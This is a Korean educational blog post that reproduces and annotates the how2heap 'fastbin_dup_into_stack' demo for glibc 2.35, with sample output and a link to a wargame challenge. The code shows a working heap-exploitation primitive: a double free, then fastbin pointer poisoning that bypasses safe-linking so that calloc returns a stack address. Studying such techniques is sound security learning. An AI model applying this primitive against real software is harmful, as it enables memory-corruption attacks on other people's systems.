https://github.com/shellphish/how2heap/blob/master/glibc_2.35/fastbin_dup_into_stack.c
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "이 파일은 calloc을 속이는 방법으로 fastbin_dup.c를 확장합니다.\n"
"(이 경우 스택에 제어된 위치를 가리키는 포인터를 반환합니다).\n");
fprintf(stderr,"먼저 tcache를 채웁니다.\n");
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
fprintf(stderr, "calloc()이 반환할 주소는 %p 입니다.\n", stack_var + 2);
fprintf(stderr, "3개의 버퍼를 할당합니다.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
fprintf(stderr, "1번째 calloc(1,8): %p\n", a);
fprintf(stderr, "2번째 calloc(1,8): %p\n", b);
fprintf(stderr, "3번째 calloc(1,8): %p\n", c);
fprintf(stderr, "첫 번째를 해제합니다...\n"); //첫 번째 free 호출은 fastbin에 참조를 추가합니다.
free(a);
fprintf(stderr, "%p를 다시 해제하면 %p이(가) free list의 맨 위에 있기 때문에 크래시가 발생합니다.\n", a, a);
fprintf(stderr, "대신, %p를 해제합니다.\n", b);
free(b);
//free(a)를 두 번 호출하면 프로그램이 Double Free 취약해집니다.
fprintf(stderr, "이제 %p를 다시 해제할 수 있습니다. 이것이 free list의 맨 위에 있지 않기 때문입니다.\n", a);
free(a);
fprintf(stderr, "free list은 이제 [ %p, %p, %p ]입니다. "
"우리는 이제 %p에서 데이터를 수정하여 공격을 수행합니다.\n", a, b, a, a);
unsigned long *d = calloc(1,8);
fprintf(stderr, "1번째 calloc(1,8): %p\n", d);
fprintf(stderr, "2번째 calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "free list은 이제 [ %p ]입니다.\n", a);
fprintf(stderr, "이제 free list의 맨 위에 있을 때 %p에 액세스할 수 있습니다.\n"
"그래서 지금은 스택에 free 청크가 있다고 생각하고 fake free size(이 경우 0x20)를 쓰고,\n"
"calloc이 그것을 가리키는 포인터를 반환하도록 합니다.\n", a);
stack_var[1] = 0x20;
fprintf(stderr, "이제 %p의 데이터의 첫 8바이트를 0x20 앞으로 가리키도록 덮어씁니다.\n", a);
fprintf(stderr, "저장된 값이 포인터가 아니라 안전한 링크 메커니즘 때문에 독립된 값임을 유의하세요.\n");
fprintf(stderr, "^ 참조: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*취약점*/
*d = (addr >> 12) ^ ptr;
/*취약점*/
fprintf(stderr, "3번째 calloc(1,8): %p, 스택 주소를 free list에 넣음\n", calloc(1,8));
void *p = calloc(1,8);
fprintf(stderr, "4번째 calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
1. fastbin에 청크 2개를 할당한다.
2. double free & malloc으로 alloc이면서 free인 청크를 할당 받고,
해당 청크의 fd 값을 조작하여 임의 주소를 fastbin에 추가한다.
3. malloc으로 조작한 값(주소)에 청크를 할당 받는다.
이 파일은 calloc을 속이는 방법으로 fastbin_dup.c를 확장합니다.
(이 경우 스택에 제어된 위치를 가리키는 포인터를 반환합니다).
먼저 tcache를 채웁니다.
calloc()이 반환할 주소는 0x7ffd21b9d720 입니다.
3개의 버퍼를 할당합니다.
1번째 calloc(1,8): 0x561e63cb7380
2번째 calloc(1,8): 0x561e63cb73a0
3번째 calloc(1,8): 0x561e63cb73c0
첫 번째를 해제합니다...
0x561e63cb7380를 다시 해제하면 0x561e63cb7380이(가) free list의 맨 위에 있기 때문에 크래시가 발생합니다.
대신, 0x561e63cb73a0를 해제합니다.
이제 0x561e63cb7380를 다시 해제할 수 있습니다. 이것이 free list의 맨 위에 있지 않기 때문입니다.
free list은 이제 [ 0x561e63cb7380, 0x561e63cb73a0, 0x561e63cb7380 ]입니다. 우리는 이제 0x561e63cb7380에서 데이터를 수정하여 공격을 수행합니다.
1번째 calloc(1,8): 0x561e63cb7380
2번째 calloc(1,8): 0x561e63cb73a0
free list은 이제 [ 0x561e63cb7380 ]입니다.
이제 free list의 맨 위에 있을 때 0x561e63cb7380에 액세스할 수 있습니다.
그래서 지금은 스택에 free 청크가 있다고 생각하고 fake free size(이 경우 0x20)를 쓰고,
calloc이 그것을 가리키는 포인터를 반환하도록 합니다.
이제 0x561e63cb7380의 데이터의 첫 8바이트를 0x20 앞으로 가리키도록 덮어씁니다.
저장된 값이 포인터가 아니라 안전한 링크 메커니즘 때문에 독립된 값임을 유의하세요.
^ 참조: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/
3번째 calloc(1,8): 0x561e63cb7380, 스택 주소를 free list에 넣음
4번째 calloc(1,8): 0x7ffd21b9d720
이해했다면 이 문제를 풀어봅시다!
https://dreamhack.io/wargame/challenges/1129
'background > linux' 카테고리의 다른 글
[how2heap] Tcache Poisoning (glibc 2.31/2.35) (0) | 2024.04.10 |
---|---|
[how2heap] House of Botcake (glibc 2.31) (0) | 2024.03.18 |
[how2heap] Fastbin dup (glibc 2.35) (0) | 2024.03.05 |
stack pivoting (0) | 2023.07.06 |
[how2heap] House of Lore (glibc 2.35) (0) | 2023.07.03 |